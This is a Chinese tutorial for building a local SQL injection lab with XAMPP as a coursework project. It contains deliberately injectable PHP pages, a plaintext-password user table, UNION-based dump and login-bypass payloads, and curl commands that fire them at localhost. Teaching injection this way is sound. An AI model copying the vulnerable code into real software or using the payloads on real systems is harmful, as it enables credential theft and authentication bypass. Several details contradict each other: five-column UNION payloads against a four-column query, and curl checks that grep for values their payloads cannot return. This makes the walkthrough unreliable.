简介:这是一份面向网络安全学习者的SQL注入实践型大作业资料包,聚焦自建简易漏洞平台,帮助理解攻击原理与防御方法。资源共15个文件,压缩包约6.67MB,含PHP源码、XML配置、SQL数据库脚本、实验报告文档与PPT演示文稿,覆盖从漏洞探测到参数化查询防护的完整流程,便于对照学习与二次实验。已有301人学习下载。内容系统梳理了SQL注入的类型(报错注入、时间盲注等)、探测思路及防御策略,配套的school.sql可用于搭建模拟学校数据库进行实战练习,适合高校信息安全课程作业、CTF入门自学或渗透测试基础巩固。通过该资源,学习者既能掌握漏洞成因与利用手法,也能理解预编译语句、输入校验等关键防护措施,提升Web安全实战能力。
1. 为什么大作业要自己搭一个SQL注入漏洞平台:先想清楚这三件事
“SQL注入大作业报告,自建简易sql注入漏洞平台”,这句话看着像学生交差,但把它做成一个能在本地跑通的系统,比翻一百个视频教程都有用。这个方案要解决的事情很具体:在你自己的电脑上用 Apache + MySQL + PHP 搭一个小靶场,里面故意留几个注入点,把字符型注入、数字型注入、万能密码绕过这些课堂理论亲手打一遍,再把过程写进实验报告。适合三类人:信息安全或网络工程课程要交大作业的在校生、刚入门想搞懂 SQL 注入原理的 CTF 新手、以及需要在内部培训或答辩时做安全演示的工程师。自己搭平台和用现成靶场最大的区别是代码在你手里,每一步报错、每一条 SQL 语句都能在报告里讲清楚,答辩的时候底气完全不同。
2. 平台架构与三种注入点选型:为什么现成靶场救不了大作业
2.1 现成靶场很香,但大作业报告需要“自己写的代码”
网上随手一搜,dvwa sql注入、sqlilab平台、pikachu漏洞测试平台、ctfhub技能树sql注入这些现成方案一大把,有的甚至自带 Docker 镜像,一条命令就能起一个完整的漏洞环境。它们的好处是省事:环境封装好了、题目排好了、连通关攻略都是现成的。但大作业报告恰恰被这种“省事”坑了:你可以在靶场里把注入打穿,却没法在报告里写出“代码在哪个文件、哪一行、用什么函数把用户输入拼进了 SQL”。对着一套别人写好的环境做实验,写出来的报告只能是一张张截图加上“我输入了什么,页面返回了什么”,老师一问“漏洞在你的代码里到底怎么产生的”,基本接不住。
拿“sql注入靶场网站”去搜,搜到的结果要么是要求注册账号的在线靶场,要么是容器化一键部署的系统。在线靶场的问题是你连数据库结构都看不到,用得再熟也只停留在“按键通关”的层面;一键部署的问题是代码是别人的,你想改一个参数看看注入行为怎么变,得先读懂别人的项目结构,对新手来说成本很高。sqlilab平台把注入细分成很多关卡,pikachu漏洞测试平台把注入、XSS、CSRF 都揉在一起,DVWA 也有十来个模块,这些都是很好的练习环境,但它们的定位是“训练场”,不是“大作业素材”。大作业要求的是一套能讲清楚原理、能被你完整复现、出了问题你知道去哪改的代码,这些只有自己一行行写出来才做得到。
2.2 技术选型:Apache + MySQL + PHP 是门槛最低的组合
选型上我一般直接推荐 Apache + MySQL + PHP,理由有三个。一是教材和网上老教程绝大多数例子都是 PHP 写的,遇到报错搜得到答案,就算英文文档看不懂,中文资料也够厚;二是 PHP 原生字符串拼接 SQL 非常自然,漏写一个过滤函数就能产生注入点,用来做教学演示几乎是为这个场景量身定做的;三是 XAMPP 一个安装包把三样全带齐,双击启动,不用折腾容器和虚拟环境。相比之下,Java/Spring 写注入点要处理框架的参数绑定,Python Flask 写起来也干净,但没有 PHP 这种“直给”的效果,对新手不友好。
版本组合建议用 Apache 2.4 + PHP 7.4 + MySQL 5.7 或 8.0。PHP 7.4 对各种老函数的兼容性比 8.x 好很多,很多教材例子里的mysql_query写法到 PHP 8 直接报致命错误,虽然我们可以用mysqli避免这个问题,但少了那些历史包袱会少很多坑。MySQL 5.7 的认证方式最省心,8.0 也能用,只是建用户时要指定mysql_native_password,第 5 章会单独讲。字符集方面,从建库到页面全部统一使用utf8mb4,否则后面写中文用户名的时候会乱码,这也是老教程最容易带歪人的地方。
| 组件 | 推荐版本 | 主要理由 | 常见坑 |
|---|---|---|---|
| Apache | 2.4.x | XAMPP 自带,成熟稳定 | 80 端口被 IIS 或其它程序占用 |
| PHP | 7.4.x | 兼容老教程,报错信息友好 | 8.x 移除部分老函数,易踩雷 |
| MySQL | 5.7 / 8.0 | 自带即可 | 8.0 认证插件与老客户端不兼容 |
2.3 三道核心题的设计:数字、字符、POST 登录,覆盖教材三块考点
平台不会只有一道题。常见做法是拆成三个独立入口,分别对应教材里最经典的三种注入形态。因为大作业报告要展示的是一个知识体系,不是一个点。
| 注入点类型 | 漏洞位置 | 核心考点 | 难度 |
|---|---|---|---|
| 字符型注入 | GET 参数 id,拼进带引号的 SQL | 单引号闭合、联合查询、注释符 | 基础 |
| 数字型注入 | GET 参数 id,拼进无引号 SQL 且自带 LIMIT 1 | 表达式注入判断、注释截断、负数取回显 | 进阶 |
| POST 登录注入 | 登录表单 username 字段 | 万能密码、or 逻辑短路、POST 提交 | 基础 |
每个入口要有自己“绕不过去的坎”:字符型考的是怎么把引号闭合掉,数字型考的是怎么处理 SQL 尾巴上的LIMIT 1,登录题考的是 POST 提交和or 1=1的语义。三个入口互相不重叠,报告的每一章就能对应一个独立知识点。安全边界也要在报告里写清楚:这个平台只监听本机,设备上不要开任何网络共享,更不要把它放到服务器上给别人访问。正规的 SRC 漏洞平台需要企业授权,学生阶段别指望靠挖漏洞赚赏金,先把本地靶场打通比什么都实在。
3. 用 XAMPP 把平台跑起来:建库脚本、连接文件与最小可运行目录
3.1 第一步:装环境、定目录、改端口
XAMPP 下载安装后,默认站点根目录在C:\xampp\htdocs。我们的平台就放在这个目录下的一个子文件夹里,避免和默认页面混在一起。打开命令行执行:
mkdir /d C:\xampp\htdocs\sqli_platform这一步很简单,但建议做,原因是大作业要交源码目录,一个干净的sqli_platform文件夹直接压缩提交就行,不用从一堆默认文件里挑自己的代码。接下来启动 XAMPP 控制面板里的 Apache 和 MySQL,如果 Apache 启动失败变红叉,最常见原因是 80 端口被占。解决方法是编辑C:\xampp\apache\conf\httpd.conf,把两处配置改掉:
# 找到这一行并改成 8080 Listen 8080 # 找到这一行并同步改成 8080 ServerName localhost:8080改完重启 Apache,访问http://127.0.0.1:8080/dashboard能看到 XAMPP 欢迎页,说明环境通了。之后的平台地址统一是http://127.0.0.1:8080/sqli_platform/,注意端口别漏。
3.2 建库脚本:五列用户表,为什么密码用明文
平台需要一个测试数据库。打开 phpMyAdmin 或进入 MySQL 命令行,执行下面这段建库脚本:
-- 建库脚本:在 phpMyAdmin 或 MySQL 命令行执行 CREATE DATABASE IF NOT EXISTS sqli_lab DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci; USE sqli_lab; DROP TABLE IF EXISTS users; CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(32) NOT NULL, password VARCHAR(32) NOT NULL, email VARCHAR(64) NOT NULL, phone VARCHAR(16) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- 密码采用明文,只为了靶场演示方便,生产环境必须哈希 INSERT INTO users (username, password, email, phone) VALUES ('admin', 'admin888', 'admin@lab.local', '13800000001'), ('teacher', 't123456', 'teacher@lab.local', '13800000002'), ('student01','stu123456', 'student01@lab.local','13800000003'), ('test', 'test123456', 'test@lab.local', '13800000004');这段脚本里有两个设计是故意的:一是把password字段明晃晃地存成明文,因为大作业讲注入时要把查出来的密码直接展示在报告里,如果先做一遍 MD5 加密,讲课时还得解释“为什么查出来的是哈希值”,多一层理解成本;二是表结构设计成 5 列,这样联合查询时union select 1,2,3,4,5的数字能精确对应表里的每一列,回显位一目了然。脚本里的DROP TABLE IF EXISTS users是为了重复执行时不会报错,后面的实验如果改了表结构,重新跑一遍脚本就能恢复初始状态,相当于给了自己一颗后悔药。
3.3 最小可运行目录与 config.php
平台不用做得多复杂,能跑通的最小结构就是一张表加几个 PHP 文件。文件清单如下,每个文件的职责尽量单一:
| 文件路径 | 主要作用 | 备注 |
|---|---|---|
sqli_platform/index.php | 入口导航页,列出三道题入口 | 方便报告截图 |
sqli_platform/config.php | 统一定义数据库连接 | 所有页面复用 |
sqli_platform/c_char.php | 字符型注入题 | GET 传参 |
sqli_platform/c_int.php | 数字型注入题 | GET 传参,SQL 自带 LIMIT |
sqli_platform/login.php | POST 登录注入题 | 演示万能密码 |
sqli_platform/reset.php | 重置数据库,重新导入初始数据 | 演示环境被打乱时一键恢复 |
先写config.php,这是整个平台的地基。连接要用mysqli,不要用老教材里的mysql_connect,后者在 PHP 7 以上已经不存在了。
<?php // config.php:所有注入题共用的数据库连接 header('Content-Type: text/html; charset=utf-8'); // 开发期把数据库错误直接抛到页面,报告里截报错信息也方便 mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT); $conn = mysqli_connect('127.0.0.1', 'root', '', 'sqli_lab', 3306); if (!$conn) { die('数据库连接失败:' . mysqli_connect_error()); } mysqli_set_charset($conn, 'utf8mb4'); ?>这段代码里的mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT)是调错利器,SQL 写错时会直接显示详细的 MySQL 错误信息,比如“Unknown column”或“You have an error in your SQL syntax”,实验报告里贴这种报错截图比贴“页面空白”有说服力得多。127.0.0.1和3306是 XAMPP 默认的地址和端口,如果你之前自己装过 MySQL 并改过密码,把第三个参数从空字符串改成你的密码就行。生产环境会把错误显示关掉,这是教学靶场的特意取舍,别把这个配置带到真实项目里。
3.4 验证平台已经跑通的三个信号
环境搭完不要急着写漏洞代码,先确认三件事:访问http://127.0.0.1:8080/sqli_platform/index.php能看到一个只有文字链接的简单导航页;在 phpMyAdmin 里能看到sqli_lab库和users表的四行数据;随便在浏览器打开http://127.0.0.1:8080/sqli_platform/config.php页面不报错(这个页面没有输出,空白是正常的,报错说明连接有问题)。这三个信号都正常,说明 Apache、PHP、MySQL 三者已经打通,后面写注入题就是在框架里填业务逻辑了。
4. 三道注入题的实现与攻击路径:从“能注入”到“能出数据”
4.1 字符型注入:单引号闭合的完整链路
字符型注入的核心特征是把用户输入包在单引号里拼进 SQL。c_char.php的完整代码:
<?php require_once 'config.php'; // 故意不做任何过滤,这是题目的核心漏洞 $id = isset($_GET['id']) ? $_GET['id'] : '1'; // 用户输入被单引号包裹,注入的关键是把这个引号闭合掉 $sql = "SELECT id, username, email, phone FROM users WHERE id = '$id'"; $result = mysqli_query($conn, $sql); ?> <!DOCTYPE html> <html lang="zh"> <head><meta charset="utf-8"><title>字符型注入题</title></head> <body> <form method="get" action="c_char.php"> <input type="text" name="id" value="<?php echo htmlspecialchars($id); ?>"> <input type="submit" value="查询"> </form> <table border="1"> <tr><th>ID</th><th>用户名</th><th>邮箱</th><th>电话</th></tr> <?php if ($result && mysqli_num_rows($result) > 0) { while ($row = mysqli_fetch_assoc($result)) { echo "<tr><td>{$row['id']}</td><td>{$row['username']}</td><td>{$row['email']}</td><td>{$row['phone']}</td></tr>"; } } else { echo "<tr><td colspan='4'>查询无结果</td></tr>"; } ?> </table> </body> </html>这段代码的逻辑很直白:取$_GET['id'],不做任何过滤,直接拼进 SQL 字符串,再把查询结果一行行渲染到表格里。htmlspecialchars只是为了避免输入框回显时破坏页面结构,不影响注入本身。实验中要在浏览器输入三组 payload,每一步都是报告里的一个小节:
第一步判断注入,输入1' and '1'='1,页面正常显示 admin 数据;输入1' and '1'='2,页面显示“查询无结果”。这证明单引号被闭合后,后面的逻辑条件真的参与了 SQL 执行。第二步猜列数,输入1' order by 4,页面正常;输入1' order by 5,页面报错“Unknown column”,说明表正好 4 列,这里 # 注释符可以直接写进地址栏,MySQL 会把它当成注释。第三步定位回显位,输入1' union select 1,2,3,4,页面会显示第 3、4 列是可见的,等下查数据就放在这两个位置。第四步脱库,输入:
1' union select 1,username,password,email from users #地址栏会变成c_char.php?id=1' union select 1,username,password,email from users%23,#不编码的话会被浏览器当成锚点丢弃。拿到四个账号的明文密码,字符型注入的完整攻击链路就结束了。这一步的做法在不少 CTF 入门题的 SQL 注入模块里也是一样的套路:先闭合、再猜列、然后联合查询。
4.2 数字型注入:自带 LIMIT 1 的题目才有教学价值
数字型注入看起来比字符型简单,因为 SQL 语句里没有引号需要闭合。如果只是做一个无引号拼接的题目,和上一题的区别就只剩下“要不要加引号”,写进报告翻来覆去就那点内容。所以我在这题里故意在 SQL 语句尾部加了一句LIMIT 1,给题目增加一个真正的考点:注释符截断。
<?php require_once 'config.php'; // 无引号拼接,参数值直接参与 SQL 运算 $input = isset($_GET['id']) ? $_GET['id'] : '1'; // LIMIT 1 是这题的机关:想用 union 出多行数据,必须先处理掉它 $sql = "SELECT id, username, email, phone FROM users WHERE id = " . $input . " LIMIT 1"; $result = mysqli_query($conn, $sql); ?>页面渲染部分和字符型一样,这里不再重复。数字型第一个经典判断手法是“表达式注入”:输入2-1,如果页面回显的是id=1的那行数据,说明2-1被 MySQL 当成了算术表达式执行,最后变成WHERE id=1,这就证明参数完全没有被过滤或类型转换,直接进了 SQL。第二个手法是负数取回显:输入-1 union select 1,2,3,4,5,因为WHERE id=-1本身查不到数据,union后面的结果就会成为唯一回显,这一招在字符型里同样适用,但在这题里更关键——不写成负数,联合会把前面正常查询的结果和注入结果混在一起,干扰观察。第三个手法才是这题的核心,直接输入-1 union select 1,username,password,email from users#,注意 URL 里的编码写法:
c_int.php?id=-1 union select 1,username,password,email from users%23#的作用是把 SQL 语句尾巴上的LIMIT 1注释掉,否则整个结果集会被LIMIT 1强制截断成一行,union 后面的数据全部丢失。这一步如果不注释,页面只显示一行,你可能会怀疑自己 union 语法写错了,实际上是被 SQL 的尾巴吞了。数字型这题写进报告的知识点比字符型多一个层次:先判断表达式注入,再处理注释符,最后负数取回显。
4.3 POST 登录与万能密码:绕过认证的完整演示
第三题设计成登录表单,不再用 GET 参数,而是让用户把注入载荷放进 POST 请求。这题的代码就是一个带数据库查询的最小登录逻辑:
<?php require_once 'config.php'; if ($_SERVER['REQUEST_METHOD'] === 'POST') { // 注意:用户名和密码都直接拼进 SQL,没有任何参数化处理 $username = isset($_POST['username']) ? $_POST['username'] : ''; $password = isset($_POST['password']) ? $_POST['password'] : ''; $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; $result = mysqli_query($conn, $sql); if ($result && mysqli_num_rows($result) > 0) { $row = mysqli_fetch_assoc($result); echo "登录成功,欢迎 " . $row['username']; } else { echo "用户名或密码错误,请重试"; } } ?> <form method="post" action="login.php"> 用户名:<input type="text" name="username"><br> 密码:<input type="password" name="password"><br> <input type="submit" value="登录"> </form>这道题的考点是万能密码绕过。用户名输入admin' or '1'='1' -- -,密码随便填,登录直接通过。因为 SQL 语句变成了:
SELECT * FROM users WHERE username = 'admin' or '1'='1' -- -' AND password = '任意值'or '1'='1'让整个 WHERE 条件恒为真,-- -把后面的AND password部分注释掉,签名里的空格是 MySQL 注释符的标准要求,写成-- -而不是--可以避免某些版本的语法报错。换一个变体' or 1=1#也能拿到同样的效果,区别是前者用or短路绕过,后者用注释符直接截断。两个都可以试一遍,报告里写一下“为什么同一个漏洞有两种开锁方式”:一个是让条件恒真,一个是把条件失效。相比字符型 GET 注入,这道题多了一层对 HTTP 请求方式的理解,POST 载荷在 URL 里看不到,实验报告要用浏览器开发者工具或抓包截图来展示请求体。
4.4 三个题目的预期结果速查表
写报告时最怕的是费了半天劲,自己都不知道哪个结果算成功。下面是三题的标准输出对照,每一条都可以直接截图放进报告结果部分:
| 题目 | 输入载荷 | 预期回显 | 考查点 |
|---|---|---|---|
| 字符型 | 1' and '1'='1 | 正常显示 admin 数据 | 判断注入 |
| 字符型 | 1' and '1'='2 | 查询无结果 | 引号闭合生效 |
| 字符型 | 1' union select 1,username,password,email from users# | 显示全部用户名和密码 | 联合查询 |
| 数字型 | 2-1 | 显示 id=1 的数据 | 表达式注入 |
| 数字型 | -1 union select 1,username,password,email from users# | 显示全部用户名和密码 | 注释截断 LIMIT |
| 登录题 | admin' or '1'='1' -- - | 登录成功 | 万能密码 |
这张表建议也写进报告的问题分析那一章,老师扫一眼就能看出你对每种注入的理解边界在哪。
5. 自建靶场的5个典型翻车点:现象、原因与修法
5.1 mysql_connect 报错:PHP 版本把老函数删了
很多教材和网上教程还在用mysql_connect、mysql_query这套老写法。照着抄会直接在页面顶部看到Fatal error: Uncaught Error: Call to undefined function mysql_connect()。原因很简单:PHP 7.0 开始移除了mysql扩展,PHP 8 里更是彻底没有这个东西。解决方法是把老代码里的mysql_connect全部换成mysqli_connect,mysql_query换成mysqli_query,并且在config.php后面统一复用连接对象。我见过有人只改函数名,参数没动,mysqli_connect('localhost', 'root', '')在某些环境下会因为 localhost 解析到 IPv6 而连不上,直接改用127.0.0.1最省事。
5.2 MySQL 8 连接失败:认证插件不匹配
页面白屏,phpMyAdmin 能进,但自己写的 PHP 连不上,报错信息里有The server requested authentication method unknown to the client [caching_sha2_password]。原因是 MySQL 8 默认的认证插件是caching_sha2_password,老版本的 PHP 客户端不认识它。解决办法是在 phpMyAdmin 的 SQL 窗口里执行:
ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY '你的密码';执行完刷新连接,PHP 页面就恢复正常了。如果还是不行,检查config.php里连的是localhost还是127.0.0.1,以及端口是不是 3306。这两个细节权重极高。
5.3 Apache 起不来:80 端口被占用
XAMPP 控制面板里 Apache 模块一直红叉,点 Start 后几秒就变灰。最常见原因是系统里装了 IIS、VMware 的虚拟机服务或其它 Web 环境把 80 端口占了。解决方法是改httpd.conf里的Listen 80为Listen 8080,同时把ServerName localhost:80改成localhost:8080,改完重启 Apache。要注意后续所有实验 URL 都要带上:8080,不要用不带端口的地址访问,否则会打到别的服务上,搞出“平台明明跑了却打不开”的乌龙。
5.4 页面全是问号乱码
注入题跑通了,但用户名或输入框里的中文显示成???,phpMyAdmin 里看数据却是正常的。原因是三处字符集不一致:MySQL 库表用了utf8mb4,PHP 页面没有输出header('Content-Type: text/html; charset=utf-8'),HTML 本身又缺<meta charset="utf-8">。解决方法是三处统一:建库脚本里已经写了DEFAULT CHARACTER SET utf8mb4;config.php里加mysqli_set_charset($conn, 'utf8mb4');每个页面的<head>里写<meta charset="utf-8">。如果之前建的库是老字符集,直接删掉重建,因为靶场没有任何需要保留的历史数据。
5.5 杀毒软件把 XAMPP 当威胁
Windows Defender 或第三方杀毒软件突然弹出“检测到风险”,Apache 进程被干掉,重启后又死。原因是本地 Apache 加 PHP 的目录结构在某些行为特征上和黑客工具包相似,杀毒软件按行为特征误报。解决方法是把C:\xampp整个目录加入 Defender 的排除项,并在杀毒软件里把对应的进程加入信任区。这里要特别说明:自建漏洞平台只在本机运行,如果哪天你在配置里把监听地址从127.0.0.1改成了外网地址,杀毒软件弹窗就要警惕了,先检查是不是被植入了恶意文件,不要直接加白名单了事。
6. 实验报告怎么收尾:用 curl 做注入验证,再加三道扩展题
6.1 把“跑通了”变成报告数据:一行 curl 一条结论
网页手工点出来的截图当然可以放进报告,但更专业的做法是用命令行做自动化验证,把输出结果直接作为实验结论。以下三条命令分别验证三道题的核心注入链路:
# 字符型联合注入:拿 admin 邮箱做匹配,能输出邮箱说明 union 生效 curl -s "http://127.0.0.1:8080/sqli_platform/c_char.php?id=1'%20union%20select%201,2,3,4,5%23" | grep -o "admin@lab.local" # 数字型注入:先用表达式 2-1 判断注入,回显 student01 说明 SQL 执行了算术 curl -s "http://127.0.0.1:8080/sqli_platform/c_int.php?id=2-1" | grep -o "student01" # 登录题:POST 提交万能密码,返回“登录成功”字符串 curl -s -X POST -d "username=admin' or '1'='1' -- -&password=x" "http://127.0.0.1:8080/sqli_platform/login.php" | grep -o "登录成功"几条命令有几个细节必须写进报告:URL 里的#必须编码成%23,否则浏览器和 curl 都会把它当成锚点直接丢弃;空格用%20表示,比用+更保险,因为+在某些场景下会被解码成空格以外的字符;登录题必须用-d走 POST 方法,用 GET 去请求login.php拿不到任何结果。curl 命令的输出可以直接grep出关键字段,每条命令对应报告里的一个小结论,比贴十张截图清爽得多。
6.2 三种十分钟能加上的扩展题
如果报告还需要一点纵深,可以在现有平台上快速加三个进阶实验。报错注入:在 SQL 里调用updatexml函数,让注入结果通过数据库错误信息回显;布尔盲注:把题目回显改成“有数据/无数据”两种状态,用if(ascii(substr(...))>n,1,0)逐位猜解密码;二次注入:注册用户名时把admin'#存进数据库,下次更新操作把它拼进 SQL 触发注入。三个都是十分钟能实现的量级,报告里每加一个,平台就从“漏洞展示”变成了“漏洞研究”。
我带毕设那会儿有个习惯:每个题目页面旁边放一个reset.php,环境被反复注入打乱后一键重建数据,答辩前再完整跑一遍 curl 脚本,确保报告里每一行结论都是这台机器上现跑出来的,而不是背下来的答案。这个习惯会让人很踏实,也让你从“能跑”走到“能答辩”。希望帮到你。
本文还有配套的精品资源,点击获取